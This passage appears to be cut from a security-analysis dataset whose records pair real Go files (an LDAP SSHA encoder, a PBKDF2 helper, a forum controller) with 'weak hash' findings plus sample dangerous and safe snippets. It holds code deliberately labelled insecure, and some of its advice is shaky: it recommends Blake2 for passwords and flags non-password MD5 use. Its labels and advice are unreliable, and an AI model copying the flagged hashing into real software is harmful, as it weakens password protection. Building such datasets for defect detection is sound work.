"gochk.WEAK_CRYPTOGRAPHIC_HASH.GO.defect", "params": {}}]}} {"id": "a2dca56eef19e0747fb1bd1d1d6aa578ba2e4d374eeea2caacdf06e36f060209", "license": {"spdx": ["Apache-2.0"], "repo": "shauncampbell/dapper", "path": "pkg/ldap/ssha.go", "repo_head_hexsha": "1d464acb132acd10386af62de26f06172e6bcf13", "stack_hexsha": "0444be5d81f70f1db1e117d53a20a3fa9ed810de", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Weak hash", "issueDescriptionEn": "A hash function is a one-way function that generates fixed length of output by mapping random data. It is commonly used to store user passwords because it always produces the same output for the given input. The hash functions, such as MD5 and SHA, may give the illusion of high performance as they calculate hash very quickly, but they are vulnerable to random brute-force attacks. Furthermore, using a hash function for simple data is dangerous because it can be stored and shared in the rainbow table.\nThere are many functions that are enabled to overcome the shortcomings of MD5 and SHA. In Go, these can be easily replaced by enabling relatively newer algorithms such as Blake2, Argon2, PBKDF2, or Scrypt.", "issueLineNumber": 6, "entireCode": "package ldap\n\nimport (\n\t\"bytes\"\n\t\"crypto/rand\"\n\t\"crypto/sha1\"\n\t\"encoding/base64\"\n\t\"fmt\"\n)\n\ntype SSHAEncoder struct {\n}\n\n// Encode encodes the []byte of raw password\nfunc (enc SSHAEncoder) Encode(rawPassPhrase []byte) ([]byte, error) {\n\thash := makeSSHAHash(rawPassPhrase, makeSalt())\n\tb64 := base64.StdEncoding.EncodeToString(hash)\n\treturn []byte(fmt.Sprintf(\"{SSHA}%s\", b64)), nil\n}\n\n// Matches matches the encoded password and the raw password\nfunc (enc SSHAEncoder) Matches(encodedPassPhrase, rawPassPhrase []byte) bool {\n\t//strip the {SSHA}\n\teppS := string(encodedPassPhrase)[6:]\n\thash, err := base64.StdEncoding.DecodeString(eppS)\n\tif err != nil {\n\t\treturn false\n\t}\n\tsalt := hash[len(hash)-4:]\n\n\tsha := sha1.New()\n\tsha.Write(rawPassPhrase)\n\tsha.Write(salt)\n\tsum := sha.Sum(nil)\n\n\tif bytes.Compare(sum, hash[:len(hash)-4]) != 0 {\n\t\treturn false\n\t}\n\treturn true\n}\n\n// makeSalt make a 4 byte array containing random bytes.\nfunc makeSalt() []byte {\n\tsbytes := make([]byte, 4)\n\trand.Read(sbytes)\n\treturn sbytes\n}\n\n// makeSSHAHash make hasing using SHA-1 with salt. This is not the final output though. You need to append {SSHA} string with base64 of this hash.\nfunc makeSSHAHash(passphrase, salt []byte) []byte {\n\tsha := sha1.New()\n\tsha.Write(passphrase)\n\tsha.Write(salt)\n\n\th := sha.Sum(nil)\n\treturn append(h, salt...)\n}", "dangerousExampleEn": "1. import \"crypto/md5\"\n2. \n3. func Dan_Crypto(c *gin.Context) {\n4. \tinput := c.PostForm(\"content\")\n5. \thash := md5.New()\n6. \thash.Write([]byte(input))\n7. \th := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(h))\n9. }\nLine 1: This is insecure because a vulnerable hash, md5, is used.", "safeExampleEn": "1. import \"golang.org/x/crypto/blake2b\"\n2. \n3. func Safe_Crypto(c *gin.Context) {\n4. \tdata := []byte(c.PostForm(\"content\"))\n5. \thash, err := blake2b.New256(nil)\n6. \thash.Write(data)\n7. \thashed := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(hashed))\n9. }\nLine 1: This is secure because a secure hash, black2b, is used.", "contexts": [{"lineNo": 6, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_HASH.GO.defect", "params": {}}]}} {"id": "c6676a4a221cd5cbf47ca1fe0a57e7c1303a60c9a65d50b0d36b91635834aa3a", "license": {"spdx": ["MIT"], "repo": "pschlump/gosrp", "path": "pk.go", "repo_head_hexsha": "641ec377c6859b78f9ce03bed2272980b2740faa", "stack_hexsha": "ec8cb4354861fffdbcf03884c67cb06177f8a6a1", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Weak hash", "issueDescriptionEn": "A hash function is a one-way function that generates fixed length of output by mapping random data. It is commonly used to store user passwords because it always produces the same output for the given input. The hash functions, such as MD5 and SHA, may give the illusion of high performance as they calculate hash very quickly, but they are vulnerable to random brute-force attacks. Furthermore, using a hash function for simple data is dangerous because it can be stored and shared in the rainbow table.\nThere are many functions that are enabled to overcome the shortcomings of MD5 and SHA. In Go, these can be easily replaced by enabling relatively newer algorithms such as Blake2, Argon2, PBKDF2, or Scrypt.", "issueLineNumber": 6, "entireCode": "package gosrp\n\nimport (\n\t\"crypto/hmac\"\n\t\"crypto/rand\"\n\t\"crypto/sha1\"\n\t\"crypto/subtle\"\n\t\"hash\"\n\t\"io\"\n)\n\n// Calculate password hash with PKCS#5 PBKDF2 method using the given hash function as HMAC.\nfunc Pbkdf2(password []byte, salt []byte, iterations int, hash func() hash.Hash, outlen int) (out []byte) {\n\tout = make([]byte, outlen)\n\thashSize := hash().Size()\n\tibuf := make([]byte, 4)\n\tblock := 1\n\tp := out\n\tfor outlen > 0 {\n\t\tclen := outlen\n\t\tif clen > hashSize {\n\t\t\tclen = hashSize\n\t\t}\n\n\t\tibuf[0] = byte((block >> 24) & 0xff)\n\t\tibuf[1] = byte((block >> 16) & 0xff)\n\t\tibuf[2] = byte((block >> 8) & 0xff)\n\t\tibuf[3] = byte((block) & 0xff)\n\n\t\th := hmac.New(hash, password)\n\t\th.Write(salt)\n\t\th.Write(ibuf)\n\t\ttmp := h.Sum(nil)\n\t\tfor i := 0; i < clen; i++ {\n\t\t\tp[i] = tmp[i]\n\t\t}\n\n\t\tfor j := 1; j < iterations; j++ {\n\t\t\th.Reset()\n\t\t\th.Write(tmp)\n\t\t\ttmp = h.Sum(nil)\n\t\t\tfor k := 0; k < clen; k++ {\n\t\t\t\tp[k] ^= tmp[k]\n\t\t\t}\n\t\t}\n\t\toutlen -= clen\n\t\tblock++\n\t\tp = p[clen:]\n\t}\n\treturn\n}\n\ntype PasswordHash struct {\n\tSalt []byte\n\tHash []byte\n}\n\n// Call Pbkdf2 password hash with reasonable defaults (9999 iterations + SHA1 + 64 bytes output).\nfunc HashPassword(password string) (out PasswordHash) {\n\t// random salt\n\tsalt := make([]byte, 16)\n\t_, err := io.ReadFull(rand.Reader, salt)\n\tif err != nil {\n\t\tpanic(\"pbkdf2.HashPassword: Random-number source malfunction!\")\n\t}\n\n\treturn HashPasswordWith(salt, password)\n}\n\n// Call Pbkdf2 with reasonable defaults (9999 iterations + SHA1 + 64 bytes output).\nfunc HashPasswordWith(salt []byte, password string) (out PasswordHash) {\n\treturn PasswordHash{salt, Pbkdf2([]byte(password), salt, 9999, sha1.New, 64)}\n}\n\nfunc MatchPassword(password string, phash PasswordHash) bool {\n\thash := Pbkdf2([]byte(password), phash.Salt, 9999, sha1.New, 64)\n\treturn subtle.ConstantTimeCompare(hash, phash.Hash) == 1\n}", "dangerousExampleEn": "1. import \"crypto/md5\"\n2. \n3. func Dan_Crypto(c *gin.Context) {\n4. \tinput := c.PostForm(\"content\")\n5. \thash := md5.New()\n6. \thash.Write([]byte(input))\n7. \th := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(h))\n9. }\nLine 1: This is insecure because a vulnerable hash, md5, is used.", "safeExampleEn": "1. import \"golang.org/x/crypto/blake2b\"\n2. \n3. func Safe_Crypto(c *gin.Context) {\n4. \tdata := []byte(c.PostForm(\"content\"))\n5. \thash, err := blake2b.New256(nil)\n6. \thash.Write(data)\n7. \thashed := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(hashed))\n9. }\nLine 1: This is secure because a secure hash, black2b, is used.", "contexts": [{"lineNo": 6, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_HASH.GO.defect", "params": {}}]}} {"id": "7a26077422cdd0e374f616b352c774bba1213ea526b47db348e3cc0348256451", "license": {"spdx": ["MIT"], "repo": "csf0630p/2049BBS", "path": "controller/article.go", "repo_head_hexsha": "a6df4f694632f5357667590eab97e5c5d1e83abb", "stack_hexsha": "4b7eec8665e9d2a0277a9d446eefccb26ed56bac", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Weak hash", "issueDescriptionEn": "A hash function is a one-way function that generates fixed length of output by mapping random data. It is commonly used to store user passwords because it always produces the same output for the given input. The hash functions, such as MD5 and SHA, may give the illusion of high performance as they calculate hash very quickly, but they are vulnerable to random brute-force attacks. Furthermore, using a hash function for simple data is dangerous because it can be stored and shared in the rainbow table.\nThere are many functions that are enabled to overcome the shortcomings of MD5 and SHA. In Go, these can be easily replaced by enabling relatively newer algorithms such as Blake2, Argon2, PBKDF2, or Scrypt.", "issueLineNumber": 4, "entireCode": "package controller\n\nimport (\n\t\"crypto/md5\"\n\t\"encoding/hex\"\n\t\"encoding/json\"\n\t\"html/template\"\n\t\"net/http\"\n\t\"strconv\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/ego008/youdb\"\n\t\"github.com/rs/xid\"\n\t\"github.com/terminus2049/2049bbs/model\"\n\t\"github.com/terminus2049/2049bbs/util\"\n\t\"goji.io/pat\"\n)\n\nfunc (h *BaseHandler) ArticleAdd(w http.ResponseWriter, r *http.Request) {\n\tcid := pat.Param(r, \"cid\")\n\t_, err := strconv.Atoi(cid)\n\tif err != nil {\n\t\tw.Write([]byte(`{\"retcode\":400,\"retmsg\":\"cid type err\"}`))\n\t\treturn\n\t}\n\n\tcurrentUser, _ := h.CurrentUser(w, r)\n\tif currentUser.Id == 0 {\n\t\tw.Write([]byte(`{\"retcode\":401,\"retmsg\":\"authored err\"}`))\n\t\treturn\n\t}\n\tif currentUser.Flag < 5 {\n\t\tvar msg string\n\t\tif currentUser.Flag == 1 {\n\t\t\tmsg = \"注册验证中,等待管理员通过\"\n\t\t} else {\n\t\t\tmsg = \"您已被禁用\"\n\t\t}\n\t\tw.Write([]byte(`{\"retcode\":401,\"retmsg\":\"` + msg + `\"}`))\n\t\treturn\n\t}\n\n\tdb := h.App.Db\n\n\tcobj, err := model.CategoryGetById(db, cid)\n\tif err != nil {\n\t\tw.Write([]byte(`{\"retcode\":404,\"retmsg\":\"` + err.Error() + `\"}`))\n\t\treturn\n\t}\n\n\ttype pageData struct {\n\t\tPageData\n\t\tCobj model.Category\n\t\tMainNodes []model.CategoryMini\n\t}\n\n\ttpl := h.CurrentTpl(r)\n\tevn := &pageData{}\n\tevn.SiteCf = h.App.Cf.Site\n\tevn.Title = \"发表文章\"\n\tevn.IsMobile = tpl == \"mobile\"\n\tevn.CurrentUser = currentUser\n\tevn.ShowSideAd = true\n\tevn.PageName = \"article_add\"\n\n\tevn.Cobj = cobj\n\tevn.MainNodes = model.CategoryGetMain(db, cobj)\n\n\th.SetCookie(w, \"token\", xid.New().String(), 1)\n\th.Render(w, tpl, evn, \"layout.html\", \"articlecreate.html\")\n}\n\nfunc (h *BaseHandler) ArticleAddPost(w http.ResponseWriter, r *http.Request) {\n\tw.Header().Set(\"Content-Type\", \"application/json; charset=UTF-8\")\n\n\ttoken := h.GetCookie(r, \"token\")\n\tif len(token) == 0 {\n\t\tw.Write([]byte(`{\"retcode\":400,\"retmsg\":\"token cookie missed\"}`))\n\t\treturn\n\t}\n\n\tcurrentUser, _ := h.CurrentUser(w, r)\n\tif currentUser.Id == 0 {\n\t\tw.Write([]byte(`{\"retcode\":401,\"retmsg\":\"authored require\"}`))\n\t\treturn\n\t}\n\tif currentUser.Flag < 5 {\n\t\tw.Write([]byte(`{\"retcode\":403,\"retmsg\":\"user flag err\"}`))\n\t\treturn\n\t}\n\n\ttype recForm struct {\n\t\tAct string `json:\"act\"`\n\t\tCid uint64 `json:\"cid\"`\n\t\tTitle string `json:\"title\"`\n\t\tContent string `json:\"content\"`\n\t}\n\n\tdecoder := json.NewDecoder(r.Body)\n\tvar rec recForm\n\terr := decoder.Decode(&rec)\n\tif err != nil {\n\t\tw.Write([]byte(`{\"retcode\":400,\"retmsg\":\"json Decode err:` + err.Error() + `\"}`))\n\t\treturn\n\t}\n\tdefer r.Body.Close()\n\n\trec.Title = strings.TrimSpace(rec.Title)\n\trec.Content = strings.TrimSpace(rec.Content)\n\n\tdb := h.App.Db\n\tif rec.Act == \"preview\" {\n\t\ttmp := struct {\n\t\t\tnormalRsp\n\t\t\tHtml string `json:\"html\"`\n\t\t}{\n\t\t\tnormalRsp{200, \"\"},\n\t\t\tutil.ContentFmt(db, rec.Content),\n\t\t}\n\t\tjson.NewEncoder(w).Encode(tmp)\n\t\treturn\n\t}\n\n\t// check title\n\thash := md5.Sum([]byte(rec.Title))\n\ttitleMd5 := hex.EncodeToString(hash[:])\n\tif db.Hget(\"title_md5\", []byte(titleMd5)).State == \"ok\" {\n\t\tw.Write([]byte(`{\"retcode\":403,\"retmsg\":\"title has existed\"}`))\n\t\treturn\n\t}\n\n\tnow := uint64(time.Now().UTC().Unix())\n\tscf := h.App.Cf.Site\n\n\tif currentUser.Flag < 99 && currentUser.LastPostTime > 0 {\n\t\tif (now - currentUser.LastPostTime) < uint64(scf.PostInterval) {\n\t\t\tw.Write([]byte(`{\"retcode\":403,\"retmsg\":\"PostInterval limited\"}`))\n\t\t\treturn\n\t\t}\n\t}\n\n\tif rec.Cid == 0 || len(rec.Title) == 0 {\n\t\tw.Write([]byte(`{\"retcode\":400,\"retmsg\":\"missed args\"}`))\n\t\treturn\n\t}\n\tif len(rec.Title) > scf.TitleMaxLen {\n\t\tw.Write([]byte(`{\"retcode\":403,\"retmsg\":\"TitleMaxLen limited\"}`))\n\t\treturn\n\t}\n\tif len(rec.Content) > scf.ContentMaxLen {\n\t\tw.Write([]byte(`{\"retcode\":403,\"retmsg\":\"ContentMaxLen limited\"}`))\n\t\treturn\n\t}\n\n\tnewAid, _ := db.HnextSequence(\"article\")\n\taobj := model.Article{\n\t\tId: newAid,\n\t\tUid: currentUser.Id,\n\t\tCid: rec.Cid,\n\t\tTitle: rec.Title,\n\t\tContent: rec.Content,\n\t\tAddTime: now,\n\t\tEditTime: now,\n\t\tClientIp: \"\",\n\t}\n\n\tjb, _ := json.Marshal(aobj)\n\taidB := youdb.I2b(newAid)\n\tdb.Hset(\"article\", aidB, jb)\n\t// 总文章列表\n\tdb.Zset(\"article_timeline\", aidB, aobj.EditTime)\n\t// 分类文章列表\n\tdb.Zset(\"category_article_timeline:\"+strconv.FormatUint(aobj.Cid, 10), aidB, aobj.EditTime)\n\t// 用户文章列表\n\tdb.Hset(\"user_article_timeline:\"+strconv.FormatUint(aobj.Uid, 10), youdb.I2b(aobj.Id), []byte(\"\"))\n\t// 分类下文章数\n\tdb.Zincr(\"category_article_num\", youdb.I2b(aobj.Cid), 1)\n\n\tcurrentUser.LastPostTime = now\n\tcurrentUser.Articles++\n\n\tjb, _ = json.Marshal(currentUser)\n\tdb.Hset(\"user\", youdb.I2b(aobj.Uid), jb)\n\n\t// title md5\n\tdb.Hset(\"title_md5\", []byte(titleMd5), aidB)\n\n\t// send task work\n\t// get tag from title\n\tif scf.AutoGetTag {\n\t\tdb.Hset(\"task_to_get_tag\", aidB, []byte(rec.Title))\n\t}\n\n\t// @ somebody in content\n\tsbs := util.GetMention(rec.Content,\n\t\t[]string{currentUser.Name, strconv.FormatUint(currentUser.Id, 10)})\n\n\taid := strconv.FormatUint(newAid, 10)\n\tfor _, sb := range sbs {\n\t\tvar sbObj model.User\n\t\tsbu, err := strconv.ParseUint(sb, 10, 64)\n\t\tif err != nil {\n\t\t\t// @ user name\n\t\t\tsbObj, err = model.UserGetByName(db, strings.ToLower(sb))\n\t\t} else {\n\t\t\t// @ user id\n\t\t\tsbObj, err = model.UserGetById(db, sbu)\n\t\t}\n\n\t\tif err == nil {\n\t\t\tif len(sbObj.Notice) > 0 {\n\t\t\t\taidList := util.SliceUniqStr(strings.Split(aid+\",\"+sbObj.Notice, \",\"))\n\t\t\t\tif len(aidList) > 100 {\n\t\t\t\t\taidList = aidList[:100]\n\t\t\t\t}\n\t\t\t\tsbObj.Notice = strings.Join(aidList, \",\")\n\t\t\t\tsbObj.NoticeNum = len(aidList)\n\t\t\t} else {\n\t\t\t\tsbObj.Notice = aid\n\t\t\t\tsbObj.NoticeNum = 1\n\t\t\t}\n\t\t\tjb, _ := json.Marshal(sbObj)\n\t\t\tdb.Hset(\"user\", youdb.I2b(sbObj.Id), jb)\n\t\t}\n\t}\n\n\th.DelCookie(w, \"token\")\n\n\ttmp := struct {\n\t\tnormalRsp\n\t\tAid uint64 `json:\"aid\"`\n\t}{\n\t\tnormalRsp{200, \"ok\"},\n\t\taobj.Id,\n\t}\n\tjson.NewEncoder(w).Encode(tmp)\n}\n\nfunc (h *BaseHandler) ArticleHomeList(w http.ResponseWriter, r *http.Request) {\n\tbtn, key, score := r.FormValue(\"btn\"), r.FormValue(\"key\"), r.FormValue(\"score\")\n\tif len(key) > 0 {\n\t\t_, err := strconv.ParseUint(key, 10, 64)\n\t\tif err != nil {\n\t\t\tw.Write([]byte(`{\"retcode\":400,\"retmsg\":\"key type err\"}`))\n\t\t\treturn\n\t\t}\n\t}\n\tif len(score) > 0 {\n\t\t_, err := strconv.ParseUint(score, 10, 64)\n\t\tif err != nil {\n\t\t\tw.Write([]byte(`{\"retcode\":400,\"retmsg\":\"score type err\"}`))\n\t\t\treturn\n\t\t}\n\t}\n\n\tcmd := \"zrscan\"\n\tif btn == \"prev\" {\n\t\tcmd = \"zscan\"\n\t}\n\n\tdb := h.App.Db\n\tscf := h.App.Cf.Site\n\tpageInfo := model.ArticleList(db, cmd, \"article_timeline\", key, score, scf.HomeShowNum, scf.TimeZone, scf.NotHomeNodeIds)\n\n\ttype siteInfo struct {\n\t\tDays int\n\t\tUserNum uint64\n\t\tNodeNum uint64\n\t\tTagNum uint64\n\t\tPostNum uint64\n\t\tReplyNum uint64\n\t}\n\n\ttype pageData struct {\n\t\tPageData\n\t\tSiteInfo siteInfo\n\t\tPageInfo model.ArticlePageInfo\n\t\tLinks []model.Link\n\t}\n\n\tsi := siteInfo{}\n\trs := db.Hget(\"count\", []byte(\"site_create_time\"))\n\tvar siteCreateTime uint64\n\tif rs.State == \"ok\" {\n\t\tsiteCreateTime = rs.Data[0].Uint64()\n\t} else {\n\t\trs2 := db.Hscan(\"user\", []byte(\"\"), 1)\n\t\tif rs2.State == \"ok\" {\n\t\t\tuser := model.User{}\n\t\t\tjson.Unmarshal(rs2.Data[1], &user)\n\t\t\tsiteCreateTime = user.RegTime\n\t\t} else {\n\t\t\tsiteCreateTime = uint64(time.Now().UTC().Unix())\n\t\t}\n\t\tdb.Hset(\"count\", []byte(\"site_create_time\"), youdb.I2b(siteCreateTime))\n\t}\n\tthen := time.Unix(int64(siteCreateTime), 0)\n\tdiff := time.Now().UTC().Sub(then)\n\tsi.Days = int(diff.Hours()/24) + 1\n\tsi.UserNum = db.Hsequence(\"user\")\n\tsi.NodeNum = db.Hsequence(\"category\")\n\tsi.TagNum = db.Hsequence(\"tag\")\n\tsi.PostNum = db.Hsequence(\"article\")\n\tsi.ReplyNum = db.Hget(\"count\", []byte(\"comment_num\")).Uint64()\n\n\t// fix\n\tif si.NodeNum == 0 {\n\t\tnewCid, err2 := db.HnextSequence(\"category\")\n\t\tif err2 == nil {\n\t\t\tcobj := model.Category{\n\t\t\t\tId: newCid,\n\t\t\t\tName: \"默认分类\",\n\t\t\t\tAbout: \"默认第一个分类\",\n\t\t\t}\n\t\t\tjb, _ := json.Marshal(cobj)\n\t\t\tdb.Hset(\"category\", youdb.I2b(cobj.Id), jb)\n\t\t\tsi.NodeNum = 1\n\t\t}\n\t\t// link\n\t\tmodel.LinkSet(db, model.Link{\n\t\t\tName: \"youBBS\",\n\t\t\tUrl: \"https://www.youbbs.org\",\n\t\t\tScore: 100,\n\t\t})\n\t}\n\n\ttpl := h.CurrentTpl(r)\n\tevn := &pageData{}\n\tevn.SiteCf = scf\n\tevn.Title = scf.Name\n\tevn.Keywords = evn.Title\n\tevn.Description = scf.Desc\n\tevn.IsMobile = tpl == \"mobile\"\n\tcurrentUser, _ := h.CurrentUser(w, r)\n\tevn.CurrentUser = currentUser\n\tevn.ShowSideAd = true\n\tevn.PageName = \"home\"\n\tevn.HotNodes = model.CategoryHot(db, scf.CategoryShowNum, scf.MustLoginNodeIds)\n\n\tif currentUser.IgnoreNode != \"\" {\n\t\tfor _, node := range strings.Split(currentUser.IgnoreNode, \",\") {\n\t\t\tnode, err := strconv.ParseUint(node, 10, 64)\n\n\t\t\tif err != nil {\n\t\t\t\tw.Write([]byte(`{\"retcode\":400,\"retmsg\":\"忽略节点id应为整数,请在设置中检查。\"}`))\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tfor i := 0; i < len(pageInfo.Items); i++ {\n\t\t\t\tif pageInfo.Items[i].Cid == node {\n\t\t\t\t\tpageInfo.Items = append(pageInfo.Items[:i], pageInfo.Items[i+1:]...)\n\t\t\t\t\ti--\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tif currentUser.IgnoreUser != \"\" {\n\t\tfor _, uid := range strings.Split(currentUser.IgnoreUser, \",\") {\n\t\t\tuid, err := strconv.ParseUint(uid, 10, 64)\n\n\t\t\tif err != nil {\n\t\t\t\tw.Write([]byte(`{\"retcode\":400,\"retmsg\":\"忽略用户id应为整数,请在设置中检查。\"}`))\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tfor i := 0; i < len(pageInfo.Items); i++ {\n\t\t\t\tif pageInfo.Items[i].Uid == uid {\n\t\t\t\t\tpageInfo.Items = append(pageInfo.Items[:i], pageInfo.Items[i+1:]...)\n\t\t\t\t\ti--\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tevn.SiteInfo = si\n\tevn.PageInfo = pageInfo\n\tevn.Links = model.LinkList(db, false)\n\n\th.Render(w, tpl, evn, \"layout.html\", \"index.html\")\n}\n\nfunc (h *BaseHandler) ArticleDetail(w http.ResponseWriter, r *http.Request) {\n\tbtn, key, score := r.FormValue(\"btn\"), r.FormValue(\"key\"), r.FormValue(\"score\")\n\tif len(key) > 0 {\n\t\t_, err := strconv.ParseUint(key, 10, 64)\n\t\tif err != nil {\n\t\t\tw.Write([]byte(`{\"retcode\":400,\"retmsg\":\"key type err\"}`))\n\t\t\treturn\n\t\t}\n\t}\n\tif len(score) > 0 {\n\t\t_, err := strconv.ParseUint(score, 10, 64)\n\t\tif err != nil {\n\t\t\tw.Write([]byte(`{\"retcode\":400,\"retmsg\":\"score type err\"}`))\n\t\t\treturn\n\t\t}\n\t}\n\n\taid := pat.Param(r, \"aid\")\n\t_, err := strconv.Atoi(aid)\n\tif err != nil {\n\t\tw.Write([]byte(`{\"retcode\":400,\"retmsg\":\"aid type err\"}`))\n\t\treturn\n\t}\n\n\tcmd := \"hscan\"\n\tif btn == \"prev\" {\n\t\tcmd = \"hrscan\"\n\t}\n\n\tdb := h.App.Db\n\tscf := h.App.Cf.Site\n\taobj, err := model.ArticleGetById(db, aid)\n\tif err != nil {\n\t\tw.Write([]byte(err.Error()))\n\t\treturn\n\t}\n\tcurrentUser, _ := h.CurrentUser(w, r)\n\n\tif len(currentUser.Notice) > 0 && len(currentUser.Notice) >= len(aid) {\n\t\tif len(aid) == len(currentUser.Notice) && aid == currentUser.Notice {\n\t\t\tcurrentUser.Notice = \"\"\n\t\t\tcurrentUser.NoticeNum = 0\n\t\t\tjb, _ := json.Marshal(currentUser)\n\t\t\tdb.Hset(\"user\", youdb.I2b(currentUser.Id), jb)\n\t\t} else {\n\t\t\tsubStr := \",\" + aid + \",\"\n\t\t\tnewNotice := \",\" + currentUser.Notice + \",\"\n\t\t\tif strings.Index(newNotice, subStr) >= 0 {\n\t\t\t\tcurrentUser.Notice = strings.Trim(strings.Replace(newNotice, subStr, \"\", 1), \",\")\n\t\t\t\tcurrentUser.NoticeNum = len(strings.Split(currentUser.Notice, \",\"))\n\t\t\t\tjb, _ := json.Marshal(currentUser)\n\t\t\t\tdb.Hset(\"user\", youdb.I2b(currentUser.Id), jb)\n\t\t\t}\n\t\t}\n\t}\n\n\tif aobj.Hidden && currentUser.Flag < 1 {\n\t\tw.WriteHeader(http.StatusNotFound)\n\t\tw.Write([]byte(`{\"retcode\":404,\"retmsg\":\"仅登录用户可见\"}`))\n\t\treturn\n\t}\n\tcobj, err := model.CategoryGetById(db, strconv.FormatUint(aobj.Cid, 10))\n\tif err != nil {\n\t\tw.Write([]byte(err.Error()))\n\t\treturn\n\t}\n\n\tif cobj.Hidden && currentUser.Flag < 1 {\n\t\tw.WriteHeader(http.StatusNotFound)\n\t\tw.Write([]byte(`{\"retcode\":404,\"retmsg\":\"仅登录用户可见\"}`))\n\t\treturn\n\t}\n\n\t// Authorized\n\tif scf.Authorized && currentUser.Flag < 5 {\n\t\tw.WriteHeader(http.StatusUnauthorized)\n\t\tw.Write([]byte(`{\"retcode\":401,\"retmsg\":\"Unauthorized\"}`))\n\t\treturn\n\t}\n\n\tcobj.Articles = db.Zget(\"category_article_num\", youdb.I2b(cobj.Id)).Uint64()\n\tpageInfo := model.CommentList(db, cmd, \"article_comment:\"+aid, key, scf.CommentListNum, scf.TimeZone)\n\n\tif currentUser.IgnoreUser != \"\" {\n\t\tfor _, uid := range strings.Split(currentUser.IgnoreUser, \",\") {\n\t\t\tuid, err := strconv.ParseUint(uid, 10, 64)\n\n\t\t\tif err != nil {\n\t\t\t\tw.Write([]byte(`{\"retcode\":400,\"retmsg\":\"type err\"}`))\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tfor i := 0; i < len(pageInfo.Items); i++ {\n\t\t\t\tif pageInfo.Items[i].Uid == uid {\n\t\t\t\t\tpageInfo.Items = append(pageInfo.Items[:i], pageInfo.Items[i+1:]...)\n\t\t\t\t\ti--\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\ttype articleForDetail struct {\n\t\tmodel.Article\n\t\tContentFmt template.HTML\n\t\tTagStr template.HTML\n\t\tName string\n\t\tAvatar string\n\t\tViews uint64\n\t\tAddTimeFmt string\n\t\tEditTimeFmt string\n\t}\n\n\ttype pageData struct {\n\t\tPageData\n\t\tAobj articleForDetail\n\t\tAuthor model.User\n\t\tCobj model.Category\n\t\tRelative model.ArticleRelative\n\t\tPageInfo model.CommentPageInfo\n\t\tViews uint64\n\t}\n\n\ttpl := h.CurrentTpl(r)\n\tevn := &pageData{}\n\tevn.SiteCf = scf\n\tevn.Title = aobj.Title + \" - \" + cobj.Name + \" - \" + scf.Name\n\tevn.Keywords = aobj.Tags\n\tevn.Description = cobj.Name + \" - \" + aobj.Title + \" - \" + aobj.Tags\n\tevn.IsMobile = tpl == \"mobile\"\n\n\tevn.CurrentUser = currentUser\n\tevn.ShowSideAd = true\n\tevn.PageName = \"article_detail\"\n\tevn.HotNodes = model.CategoryHot(db, scf.CategoryShowNum, scf.MustLoginNodeIds)\n\n\tauthor, _ := model.UserGetById(db, aobj.Uid)\n\tviewsNum, _ := db.Hincr(\"article_views\", youdb.I2b(aobj.Id), 1)\n\tevn.Aobj = articleForDetail{\n\t\tArticle: aobj,\n\t\tContentFmt: template.HTML(util.ContentFmt(db, aobj.Content)),\n\t\tName: author.Name,\n\t\tAvatar: author.Avatar,\n\t\tViews: viewsNum,\n\t\tAddTimeFmt: util.TimeFmt(aobj.AddTime, \"2006-01-02\", scf.TimeZone),\n\t\tEditTimeFmt: util.TimeFmt(aobj.EditTime, \"2006-01-02\", scf.TimeZone),\n\t}\n\n\tif len(aobj.Tags) > 0 {\n\t\tvar tags []string\n\t\tfor _, v := range strings.Split(aobj.Tags, \",\") {\n\t\t\ttags = append(tags, ``+v+``)\n\t\t}\n\t\tevn.Aobj.TagStr = template.HTML(strings.Join(tags, \", \"))\n\t}\n\n\tevn.Cobj = cobj\n\tevn.Relative = model.ArticleGetRelative(db, aobj.Id, aobj.Tags)\n\tevn.PageInfo = pageInfo\n\n\ttoken := h.GetCookie(r, \"token\")\n\tif len(token) == 0 {\n\t\ttoken := xid.New().String()\n\t\th.SetCookie(w, \"token\", token, 1)\n\t}\n\n\th.Render(w, tpl, evn, \"layout.html\", \"article.html\")\n}\n\nfunc (h *BaseHandler) ArticleDetailPost(w http.ResponseWriter, r *http.Request) {\n\tw.Header().Set(\"Content-Type\", \"application/json; charset=UTF-8\")\n\ttoken := h.GetCookie(r, \"token\")\n\tif len(token) == 0 {\n\t\tw.Write([]byte(`{\"retcode\":400,\"retmsg\":\"token cookie missed\"}`))\n\t\treturn\n\t}\n\n\taid := pat.Param(r, \"aid\")\n\t_, err := strconv.Atoi(aid)\n\tif err != nil {\n\t\tw.Write([]byte(`{\"retcode\":400,\"retmsg\":\"aid type err:` + err.Error() + `\"}`))\n\t\treturn\n\t}\n\n\ttype recForm struct {\n\t\tAct string `json:\"act\"`\n\t\tLink string `json:\"link\"`\n\t\tContent string `json:\"content\"`\n\t}\n\n\ttype response struct {\n\t\tnormalRsp\n\t\tContent string `json:\"content\"`\n\t\tHtml template.HTML `json:\"html\"`\n\t}\n\n\tdecoder := json.NewDecoder(r.Body)\n\tvar rec recForm\n\terr = decoder.Decode(&rec)\n\tif err != nil {\n\t\tw.Write([]byte(`{\"retcode\":400,\"retmsg\":\"json Decode err:` + err.Error() + `\"}`))\n\t\treturn\n\t}\n\tdefer r.Body.Close()\n\n\tdb := h.App.Db\n\trsp := response{}\n\n\tif rec.Act == \"link_click\" {\n\t\trsp.Retcode = 200\n\t\tif len(rec.Link) > 0 {\n\t\t\thash := md5.Sum([]byte(rec.Link))\n\t\t\turlMd5 := hex.EncodeToString(hash[:])\n\t\t\tbn := \"article_detail_token\"\n\t\t\tclickKey := []byte(token + \":click:\" + 